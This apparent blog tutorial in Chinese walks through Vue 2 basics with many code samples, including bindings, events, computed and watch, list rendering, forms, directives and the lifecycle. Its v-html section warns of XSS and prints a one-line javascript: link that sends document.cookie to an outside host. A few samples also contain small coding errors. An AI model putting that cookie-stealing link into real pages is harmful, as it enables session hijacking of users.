-
(一）Vue核心
文章目录
1.1. Vue 简介
1.1.1. 官网
- 英文官网: https://vuejs.org/
- 中文官网: https://cn.vuejs.org/
1.1.2. 介绍与描述
- 动态构建用户界面的渐进式 JavaScript 框架
- 作者: 尤雨溪
1.1.3. Vue 的特点
- 遵循 MVVM 模式
- 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
- 它本身只关注UI, 也可以引入其它第三方库开发项目
1.1.4 与其它 JS 框架的关联
- 借鉴Angular 的模板和数据绑定技术
- 借鉴React 的组件化和虚拟DOM 技术
1.1.5. Vue 周边库
- vue-cli: vue 脚手架
- vue-resource
- axios
- vue-router: 路由
- vuex: 状态管理
- element-ui: 基于vue 的UI 组件库(PC 端) ……
1.2 初识 Vue
1.3. 模板语法
1.3.1效果
1.3.2 模板的理解
html 中包含了一些JS 语法代码，语法分为两种，分别为：
- 插值语法（双大括号表达式）
- 指令（以v-开头）
<body> {xxx}},xxx是js表达式，且可以直接读取到data中的所有属性 2.指令语法 功能：用于解析标签（包括：标签属性、标签体内容，绑定事件...）。 举例：v-bind:href="xxx"或简写为：href="xxx",xxx同样要写js表达式 且可以直接读取到data中的所有属性 备注：Vue中有很多的指令，且形式都是：v-???? --> <div id="root"> <h1>插值语法h1> <h3>你好，{{name}}h3> <hr/> <h1>指令标签h1> <a v-bind:href="url">点我去百度a> <a :href="url">点我去百度a> //v-bind可以简写为： div> body> <script> new Vue({ el:'#root', data:{ name:'jack', url:'http://www.baidu.com' } }) script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
1.3.3插值语法
- 功能: 用于解析标签体内容
- 语法: {{xxx}} ，xxxx 会作为js 表达式解析
1.3.4指令语法
- 功能: 解析标签属性、解析标签体内容、绑定事件
- 举例：v-bind:href = ‘xxxx’ ，xxxx 会作为js 表达式被解析
- 说明：Vue 中有有很多的指令，此处只是用v-bind 举个例子
1.4 数据绑定
1.4.1. 效果
1.4.2. 单向数据绑定
- 语法：v-bind:href =“xxx” 或简写为 :href
- 特点：数据只能从data 流向页面
1.4.3. 双向数据绑定
- 语法：v-mode:value=“xxx” 或简写为 v-model=“xxx”
- 特点：数据不仅能从data 流向页面，还能从页面流向 data
1.5 MVVM 模型
-
M：模型(Model) ：对应data 中的数据
-
V：视图(View) ：模板
-
VM：视图模型(ViewModel) ： Vue 实例对象
1.5.1数据代理
通过一个对象代理对另一个对象中属性的操作;
-
Vue中的数据代理：
通过vm对象来代理data对象中属性的操作（读/写） -
Vue中数据代理的好处：
更加方便操作数据
-
基本原理
通过Object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性，都指定一个getter/setter.
在getter/setter内部去操作data中的数据.
<script> let obj = {x:100} let obj2 = { y:200 } Object.defineProperty(obj2,'x',{ get(){ return obj.x }, set(value){ obj.x = value } }) script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
1.6 事件处理
1.6.1. 效果
```javascript <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <button v-on:click="showInfo1">点我显示信息1</button> <button @click="showInfo2(66,$event)">点我显示信息2</button> </div> </body> <script> new Vue({ el:'#root', data:{ name:'me' }, methods:{ showInfo1(event){ // console.log(this)此处的this是vm alert('同学你好!！') }, showInfo2(number,event) { // console.log(this)此处的this是vm alert('同学你好!！' + number + event) } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
1.6.2. 绑定监听
- v-on:xxx=“fun”
- @xxx=“fun”
- @xxx=“fun(参数)”
- 默认事件形参: event
- 隐含属性对象: $event
👉事件的基本使用： - 使用v-on:xxx或@xxx绑定事件，其中xxx是事件名；
- 事件的回调需要配置在methods对象中，最终会在vm上；
- methods中配置的函数，不要用箭头函数！否则this就不是vm了；
- methos中配置的函数，都是被Vue管理的函数
- @click=“demo"和@click=”demo($event)“效果一致，但后者可以传参；
1.6.3. 事件修饰符
-
.prevent : 阻止事件的默认行为 event.preventDefault()
-
.stop : 停止事件冒泡 event.stopPropagation()
<style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ background-color: brown; } .list{ width: 200px; height: 20px; background-color: peru; overflow: auto; } li{ height: 100px; } </style> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <a href="http:www.baidu.com" @click.prevent="showInfo">点我进入百度</a> <!-- 阻止事件冒泡 --> <div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> </div> <!-- 事件只触发一次 --> <button @click.once="showInfo">点我提示信息</button> <!-- 使用事件的捕获 --> <div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div> <!-- self:只有event.target是当前操作的元素时才触发事件 --> <div class="demo1" @click.self="showInfo"> <button @click="showInfo">点我提示信息</button> </div> <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕 --> <ul @wheel.passive="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> </div> </body> <script> new Vue({ el: '#root', data: { name: 'me' }, methods:{ showInfo(e){ // e.stopPropagation() //阻止事件冒泡 //alert('同学，你好') console.log(e.target) }, showMsg(msg){ alert(msg) }, demo(){ for(let i = 0; i < 100000; i++){ console.log('#') } console.log('@') } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
1.6.4. 按键修饰符
- keycode : 操作的是某个keycode 值的键
- .keyName : 操作的某个按键名的键(少部分)
<body> <div id="root"> <h2>欢迎学习{{name}}</h2> <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"> </div> </body> <script> new Vue({ el: '#root', data: { name: 'Vue' }, methods:{ showInfo(e){ // console.log(e.keyCode) 按住回车才开始输出 // if(e.keyCode !== 13) return console.log(e.target.value) } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
👉1.Vue中的常用的按键别名：
回车 => enter
删除 => delete
退出 => esc
空格 => space
换行 => tab（必须配合keydown用)
上 =>up
下 =>down
左 =>left
右 =>right
👉2.Vue未提供别名的按键，可以使用源是的key值去绑定，但注意要转为kebab-case（短横线命名）CapsLock -> casps-lock
👉3.系统修饰符（用法特殊）：ctrl,alt,shift,meta
(1). 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
(2).配合keydown使用：正常触发事件
👉4.也可以使用keyCode去指定其他具体的按键（不推荐）
console.log(e.key,e.keyCode)- 1
👉5. Vue.config.keyCode.自定义键名 = 键码，可以定制别名（不太推荐）
Vue.config.keyCodes.huiche = 13 //定义了一个别名按键- 1
1.7. 计算属性与监视
1.7.1. 效果
1.7.2. 计算属性-computed
-
要显示的数据不存在，要通过计算得来。
-
在computed 对象中定义计算属性。
-
在页面中使用{{方法名}}来显示计算的结果。
✊总结：
计算属性：
-
定义： 要用的属性不存在，要通过已有属性计算得来。
-
原理: 底层借助了Objec.defineproperty方法提供的getter和setter。
-
get函数什么时候执行？
（1）初次读取时会执行一次。
（2）当依赖的数据发生变化时会被再次调用。
-
优势
与methods实现相比。
-
备注：
（1）计算属性最后会出在vm上，直接读取使用即可。
（2）如果计算属性要被修改，那必须写set函数去响应，且set函数去响应修改，且set中要引起计算时依赖的数据发生
<body> <div id="root"> 姓：<input type="text" v-model="firstName"> <br><br> 名：<input type="text" v-model="lastName"> <br><br> 全名：<span>{{fullName}}span> div> body> <script> new Vue({ el: '#root', data: { firstName:'张', lastName:'三' }, computed:{ fullName:{ //get有什么作用？当有人读取fullName的时，get就会被调用，且返回值就作为fullName的值 //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。 get(){ console.log('get被调用了') // console.log(this) //此处的this是vm return this.firstName + '-' + this.lastName }, set(){ //以后会被修改 //set什么时候调用？ 当fullName修改时 console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
1.7.3. 监视属性-watch
-
通过通过vm 对象的$watch()或watch 配置来监视指定的属性
-
当属性变化时, 回调函数自动调用, 在函数内部进行计算
👉监视属性watch:
-
当被监视的属性变化时，回调函数自动调用，进行相关操作
-
监视的属性必须存在，才能进行监视
-
监视的两种方法：
（1）new Vue时传入watch配置（2）通过vm.$watch监视
<script> const vm = new Vue({ el: '#root', data: { isHot:true }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods:{ changeWeather(){ this.isHot=!this.isHot } }, watch:{ isHot:{ //什么时候调用？当isHot发生改变时 handler(newValue,oldValue){ immediate:true,//初始化时让handler调用一下 console.log('isHot被修改了',newValue,oldValue) } } } }) vm.$watch('isHot',{ immediate:true,//初始化时让handler调用一下 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
👉深度监视
（1）Vue中的watch默认不监测对象内部值的改变（一层）。
（2）配置deep:true可以监测对象内部值变化（多层）。
备注：
（1）Vue自身可以检测对象内部值的变化，但Vue提供的watch默认不可以！（2）使用watch时根据数据的具体结构，决定是否采用深度监视。
<script> const vm = new Vue({ el: '#root', data: { isHot:true, numbers:{ a:1, b:1 } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods:{ changeWeather(){ this.isHot=!this.isHot } }, watch:{ isHot:{ //什么时候调用？当isHot发生改变时 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, //监视多级结构中某个属性的变化 /* 'numbers.a':{ handler(){ console.log('a被改变了') } } */ numbers:{ deep: true, //深度监视 handler(){ console.log('numbers改变了') } } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
监视的简写方式：
当watch（没有immediate和deep等)配置项只有handler时才可以采用简写
👉computed和watch的区别：- computed能完成的功能，watch都能完成
- watch能完成的功能，watch不一定能完成，例如：watch可以进行异步操作
重要的两个小原则：
- ==Vue所管理的函数，最好写成普通函数，这样this的只想才是vm或组件实例对象。
- 所有不被Vue所管理的函数，（定时器的回调函数，ajax的回调函数等），做好写成箭头函数，这样this的执行才是vm或组件实例对象.
1.8. class 与 style 绑定
1.8.1. 理解
-
在应用界面中, 某个(些)元素的样式是变化的
-
class/style 绑定就是专门用来实现动态样式效果的技术
1.8.2. class 绑定
-
:class=‘xxx’
-
表达式是字符串: ‘classA’
-
表达式是对象: {classA:isA, classB: isB}
-
表达式是数组: [‘classA’, ‘classB’]
1.8.3. style 绑定
-
:style=“{ color: activeColor, fontSize: fontSize + ‘px’ }”
-
其中activeColor/fontSize 是data 属性
<style> .basic{ width: 400px; height: 100px; border: 1px solid black; } .happy{ border: 4px solid red; background-color: rgb(255, 255, 0,0.644); background: linear-gradient(30deg,yellow,pink,orange,yellow); } .sad{ border: 4px dashed rgb(2,192,2); background-color: gray; } .normal{ background-color: skyblue; } .atguigu1{ background-color: yellowgreen; } .atguigu2{ font-size: 30px; text-shadow: 2px 2px 10px red; } .atguigu3{ border-radius: 20px; } </style> </head> <body> <div id="root"> <!-- 绑定class样式--字符串写法,适用于样式的类名不确定，需要动态决定 --> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <!-- 绑定class样式--数组写法,适用于要绑定的样式个数不确定名字也不确定 --> <div class="basic" :class="arr">{{name}}</div> <!-- 绑定class样式--对象写法,适用于：要绑定的样式个数确定，名字确定，但要动态确定用不用 --> <div class="basic" :class="classObj">{{name}}</div> <div class="basic" :style="styleObj">{{name}}</div> </div> </body> <script> const vm = new Vue({ el:'#root', data:{ name:'mood', mood:'normal', arr:['atguigu1', 'atguigu2', 'atguigu3'], classObj:{ atguigu1:false, atguigu2:false }, styleObj:{ fontSize:'40px' } }, methods:{ changeMood(){ const arr = ['happy','sad','normal'] const index = Math.floor(Math.random()*3) this.mood = arr[index] } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
1.9. 条件渲染
1.9.1. 条件渲染指令
-
v-if 与v-else
-
v-show
1.9.2. 比较v-if 与v-show
-
如果需要频繁切换 v-show 较好
-
当条件不成立时, v-if 的所有子节点不会解析(项目中使用)
👉条件渲染：
1.v-if
写法:
(1)v-if=“表达式"
(2)v-else-if=“表达式”
(3)v-else=”表达式“
适用于：切换频率较低的场景。
特点：不展示的DOM元素直接被移出
注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被”打断“。
2.v-show
写法：v-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏
3.备注：使用v-if的时候，元素可能无法获取到，而使用v-show一定可以获取到。
<body> <div id="root"> <h2>当前的n值是{{n}}</h2> <button @click="n++">点我+1</button> <button @click="n = 0">点我置0</button> <div v-show="n % 3 === 0">Angular</div> <div v-show="n % 3 === 1">React</div> <div v-show="n % 3=== 2">Vue</div> <!-- <div v-if="n % 3 === 0">Angular</div> <div v-else-if="n % 3 === 1">React</div> <div v-else-if="n % 3=== 2">Vue</div> --> <template v-if="n===1"> <h2>1</h2> <h2>2</h2> <h2>3</h2> </template> </div> </body> <script> new Vue({ el: '#root', data:{ name: 'V', n:0 } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
1.10. 列表渲染
1.10.1. 效果
<div id="root"> <!-- 遍历数组 --> <h2>人员列表（遍历数组）</h2> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}} -- {{p.age}} </li> </ul> <!-- 遍历对象 --> <h2>汽车信息（遍历对象）</h2> <ul> <li v-for="(value,k) in car" :key="k"> {{k}} -- {{value}} </li> </ul> <!-- 遍历字符串 --> <h2>测试遍历字符串(用的少)</h2> <ul> <li v-for="(char,index) in str" :key="index"> {{char}} -- {{index}} </li> </ul> <!-- 遍历指定次数 --> <h2>遍历指定次数（用的少）</h2> <ul> <li v-for="(number,index) in 5" :key="index"> {{number}} -- {{index}} </li> </ul> </div> </body> <script> new Vue({ el: '#root', data: { persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20}, ], car:{ name:'奥迪A8', price:'70万', color:'黑色' }, str:'hello' } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
👉⭐
<div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺苏</button> <ul> <li v-for="(p,index) in filPersons" :key="index"> {{p.name}} - {{p.age}}-{{p.sex}} </li> </ul> </div> </body> <script> //用computed实现 new Vue({ el: '#root', data: { keyWord:'', sortType:0,//0代表原顺序，1降序，2升序， persons:[ {id:'001',name:'马冬梅',age:39,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ] }, computed:{ filPersons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) //判断一下是否需要排序 if(this.sortType){ arr.sort((p1,p2)=>{ return this.sortType === 1?p2.age - p1.age :p1.age - p2.age }) } return arr } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
数组常用修改方法：
- push最后位置新增
- pop删除最后一个
- shift删除第一个
- unshift前面加一个
- splice指定位置插入/删除/替换
- reverse反转数组
👏Vue监视数据的原理
- Vue会监视data中所有层次的数据。
- 如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
（1）对象中后追加的属性，Vue默认不做响应处理
（2）如需给后添加的属性做响应式，请使用如下API：
Vue.set(target,propertyName/index,value)或
vm.$set(target,propertyName/index,value)
-
如何让监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事情：
（1）调用原生对应的方法 对数组尽心更新
（2）重新解析模板，进而进行更新。
-
在Vue修改数组中的某个元素一定要使用如下方法：
1.使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set()或vm.$set()
特别注意：Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性
<div id="root"> <h1>学生信息h1> <button @click="student.age++">年龄+1button><br> <button @click="addSex">添加性别属性，默认值：男button><br> <button @click="student.sex = '未知'">修改性别button><br> <button @click="addFriend">在列表首位添加一个朋友button><br> <button @click="updateFirstName">修改第一个朋友的名字：张三button><br> <button @click="addHobby">添加一个爱好button><br> <button @click="changeFirstHobby">修改第一个爱好为：开车button><br>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
<h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好：</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们：</h3> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
1.11. 收集表单数据
👉收集表单数据：若
,则v-model收集的是value值，用户输入的就是value值若
，则v-model收集的是value值，且要给标签配置value值若
1. 没有配置input的value属性，那么收集的就是checked(勾选 or 未勾选，是布尔值)
2.配置input的value属性：
（1）v-model的初始值是非数组，那么收集的就是checked （2）v-model的初始值是数组，那么收集的就是value组成的数组
备注：v-model的三个修饰符：
lazy:失去焦点再收集数据
number:输入字符串转换为有效的数字
trim:输入首尾空格过滤
<div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="account"><br><br> 密码：<input type="password" v-model="password"><br><br> 年龄：<input type="number" v-model.number="age"><br><br> 性别： 男<input type="radio" name="sex" v-model="sex" value="male"> 女<input type="radio" name="sex" v-model="sex" value="female"><br><br> 爱好： 学习<input type="checkbox" value="study"> 打游戏<input type="checkbox" value="game"> 吃饭<input type="checkbox" value="eat"><br><br> 所属校区 <select v-model="city"> <option value="">请选择校区option> <option value="beijing">北京option> <option value="shanghai">上海option> <option value="shenzhen">深圳option> select> <br><br> 其他信息： <textarea v-model.lazy="other">textarea> <br><br> <input type="checkbox" v-model="agree"> 阅读并接受<a href="#">《用户协议》a> <br><br> <button>提交button> form>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
<div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="account"><br><br> 密码：<input type="password" v-model="password"><br><br> 年龄：<input type="number" v-model.number="age"><br><br> 性别： 男<input type="radio" name="sex" v-model="sex" value="male"> 女<input type="radio" name="sex" v-model="sex" value="female"><br><br> 爱好： 学习<input type="checkbox" value="study"> 打游戏<input type="checkbox" value="game"> 吃饭<input type="checkbox" value="eat"><br><br> 所属校区 <select v-model="city"> <option value="">请选择校区option> <option value="beijing">北京option> <option value="shanghai">上海option> <option value="shenzhen">深圳option> select> <br><br> 其他信息： <textarea v-model.lazy="other">textarea> <br><br> <input type="checkbox" v-model="agree"> 阅读并接受<a href="#">《用户协议》a> <br><br> <button>提交button> form>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
<script> new Vue({ el: '#root', data: { account:'', password:'', age:'', sex:'female', hobby:[], city:'beijing', other:'', agree:'' }, methods:{ demo(){ console.log(JSON.stringify(this._data)) } } }) </script>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
1.12. 过滤器
1.12.1. 效果
1.12.2. 理解过滤器
- 功能: 对要显示的数据进行特定格式化后再显示
- 注意: 并没有改变原本的数据, 是产生新的对应的数据
👉语法：
- 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
- 使用过滤器：{{xxx | 过滤器名}} 或 v-bind:属性=“xxx |过滤器名"
👉备注：
- 过滤器也可以接收额外参数、多个过滤器可以串联
- 并没有改变原本的数据，是产生新的对应数据
1.13. 内置指令与自定义指令
1.13.1. 常用内置指令
- v-text : 更新元素的 textContent
- v-html : 更新元素的 innerHTML
- v-if : 如果为true, 当前标签才会输出到页面（条件渲染，动态控制节点是否存在）
- v-else: 如果为false, 当前标签才会输出到页面
- v-show : 通过控制display 样式来控制显示/隐藏
- v-for : 遍历数组/对象/字符串
- v-on : 绑定事件监听, 一般简写为@
- v-bind : 绑定解析表达式, 可以省略v-bind（单向解析表达式，可简写为:xxx）
- v-model : 双向数据绑定
- v-cloak : 防止闪现, 与css 配合: [v-cloak] { display: none }
❣️v-text指令：
- 作用：向其所在的节点中渲染文本内容。
- 与插值语法的区别：v-text会替换节点中的内容，{{xx}}则不会。
❣️v-html指令：
-
作用：向指定节点中渲染包含html结构的内容。
-
与插值语法的区别
(1)v-html会替换节点中所有的内容，{{xx}}则不会。
(2)v-html可以识别html结构
-
严重注意：v-html有安全性问题！！
（1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
（2）一定要在可信的内容上使用v-html，永远不要在用户提交的内容上。
<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找你想要的资源了</a>'- 1
❣️v-clock指令
- 本质是一个特殊属性，Vue实例创建完毕后并接管容器后，会删掉v-clock属性
- 使用css配合v-clock可以解决网速慢时页面展示出{{xxx}}的问题
❣️v-once指令：
- v-once所有节点在初次动态渲染后，就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
❣️v-pre指令：
- 跳过其节点所在的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
自定义指令：
一、定义语法：
（1）局部指令：new Vue({
directives:{指令名：配置对象}
})或
new Vue({
directives:{指令名：回调函数}
})
（2）全局质量：
Vue.directive(指令名，配置对象)或 Vue.directive(指令名，回调函数)二、配置对象中常用的3个回调
（1）.bind:指令与元素成功绑定时调用。
（2）.insetrted:指令所在元素被插入页面时调用
（3）update:指令所在模板结构被重新解析时调用
三、备注：
- 指令定义时不加v-,但使用时要加v-
- 指令名 如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
1.14. Vue 实例生命周期
1.14.1. 效果
👉生命周期：- 又名：生命周期回调函数、生命周期函数、生命周期钩子
- 是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期的名字不可更改，但函数的具体内容是程序员根据需求编写的。
- 生命周期中的this指向是vm或组件实例对象
1.14.2. 生命周期流程图
1.14.3. vue 生命周期分析
- 初始化显示
* beforeCreate()
* created()
* beforeMount()
* mounted()
- 更新状态: this.xxx = value
* beforeUpdate()
* updated()
- 销毁vue 实例: vm.$destory()
* beforeDestory()
* destoryed()
1.14.4. 常用的生命周期方法
-
mounted(): 发送ajax 请求, 启动定时器、绑定自定义事件、订阅消息等异步任务
-
beforeDestory(): 做收尾工作, 如: 清除定时器、解绑自定义事件、取消订阅消息当
关于销毁Vue实例：
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自动逸事件会失效，但原生DOM事件依然有效
- 一般不会再beforeDestroy操作数据，因为即便操作数据，也不会触发更新流程了。
-
相关阅读:
Python matplot工具包之一的 mpl_toolkits绘制属于你的世界地图
【无标题】
3D RPG Course | Core 学习日记四：鼠标控制人物移动
【数据结构】栈和队列
数据结构刷题
cdm解决‘ping‘ 或者nslookup不是内部或外部命令，也不是可运行的程序或批处理文件的问题
分布式计算浅谈
幻兽帕鲁服务器为什么网络连接失败？
HTML网页设计制作大作业(游戏主题)---电竞
身份证合法验证查询易语言代码
- 原文地址：https://blog.csdn.net/qq_52986400/article/details/126245437
